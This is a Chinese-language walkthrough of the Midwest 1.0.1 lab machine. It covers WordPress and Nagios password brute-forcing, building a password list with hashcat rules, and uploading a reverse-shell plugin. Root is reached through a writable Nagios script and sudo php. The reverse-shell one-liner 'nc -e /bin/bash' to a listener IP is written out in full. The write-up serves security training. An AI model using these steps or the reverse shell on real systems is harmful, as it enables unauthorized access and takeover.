Midwest 1.0.1靶机
信息收集
- 发现靶机开放22和80端口
- 使用目录扫描工具发现了是
wordpress
框架,而且发现重定向的链接是域名的形式,猜想多半需要修改hosts
文件了
web渗透
- 进入网站就发现css没能加载,确定需要添加域名才行
- 添加完域名后,正常访问网站
3. 由于是wordpress
网站,直接使用wpscan
枚举后台用户名,得到admin
用户
- 使用
rockyou
字典进行枚举密码的时候,发现跑了很久都没有成功,查看了一下wp
发现其实和power有关,而且还遗漏了nagios
监控系统目录,当时因为该目录是401状态码,主要也是对其不敏感,不清楚该目录的功能。还得知rockyou
字典还没有wordpress
后台密码
- 根据wp的提示,首先去爆破
nagios
的登录密码,得到PowerPower
,值得一提nagios
监控系统的默认用户名是nagiosadmin
- 而且这个密码位于一千万行左右,耗费量可想而知
- 在联合主界面的
Power
猜测后台登录密码也和Power
有关联
-
准备使用规则构建以Power为基准的密码本
aaa
文件了就是Power
hashcat --stdout aaa -r /usr/share/hashcat/rules/best64.rule -o power.txt
- 使用密码本再次爆破后台密码得到了
Power9
获取权限
- 老朋友
wordpress
后台getshell
的方法还是很多的,这回在404.php
界面写入反弹shell发现失败了,只好选择上传插件的方法来进行getshell
了
- 上传反弹
shell
成功后,来到media
模块下查看上传的文件,点击查看上传路径
- kali主机进行监听,访问路径成功得到shell
权限提升 – nagios
- 本次靶机只有一个权限1000以上的用户
nagios
,而且其目录必须是本身才能访问,所以是要切换到nagios
用户的
-
由于对该监控系统知之甚少,所以提权的方法也是一头雾水,根据wp了解到使用
nagios
系统服务提权的原理是:nagios
内置了很多脚本,利用脚本生成的数据回传给nagios
监控系统本身,带有check
标识的脚本属于是定时执行监察系统状况的,所以只要nagios
的内置脚本可以被当前用户写入,就可以插入反弹shell
命令,等待脚本自动执行获取shell
-
来到
nagios
目录下,其中脚本就内置在libexec
目录下
- 查看其中脚本的权限,发现
www-data
用户全都具备可写权限,那就可以直接写入反弹shell等待执行了
- 写入反弹shell到其中的脚本中,反弹shell需要添加
nohub
命令,为了是让执行反弹shell命令后系统不挂断,还能继续运行
echo ' nohup nc -e /bin/bash 192.168.31.46 7777 &' >custom_check_mem
- 等待了两三分钟,成功接受到了
nagios
的shell
- 发现目录下有user.txt文件
权限提升 — root
- 进行常规的提权操作,发现
nagios
具有sudo
权限,还能免密码使用php
来执行一些脚本
- 前去查看一下这些脚本的权限,发现了一个可以被当前用户执行写入操作,那就可以写入执行
/bin/bash
的命令了
- 写入提权命令
- 使用
sudo
权限调用php
来执行该文件,发现需要密码的提示,不是免密码的么,查看sudo -l
之后发现,遗漏了在后面*
- 再次执行,成功得到了root的shell,来到root目录下查看到了flag
靶机总结
- 本次靶机的难度还挺大的,隐藏的信息和不懂得知识还是有点多的
- 因为没有接触过
nagios
监控系统,所以扫描出来了该目录也没太过于关注,没想到后台密码的突破点和提权的突破点都在nagios
上了 nagios
的默认账户为nagiosadmin
,爆破得到PowerPower
密码,结合界面的Power
组成后台密码的隐藏信息,所有密码就是围绕Power
的- 确定密码是围绕某个特定单词组成的,可以使用
hashcat --stdout
命令指定相关规则,对某得特定的单词生成相关密码本 wordpress
后台getshell
,可以修改404.php页面,也可以上传反弹shell文件到插件中- 权限提升利用到了写入反弹
shell
到nagios
系统的内置脚本,前提是脚本是当前用户可写的,要加上nohub
防止系统执行反弹shell
执行挂断 - 编译器具有
sudo
权限,只需要使用代码调用各自的系统函数执行/bin/bash
就可以提权 - 使用
sudo
来进行提权,一定要把所给命令或者文件复制完整,避免不必要的麻烦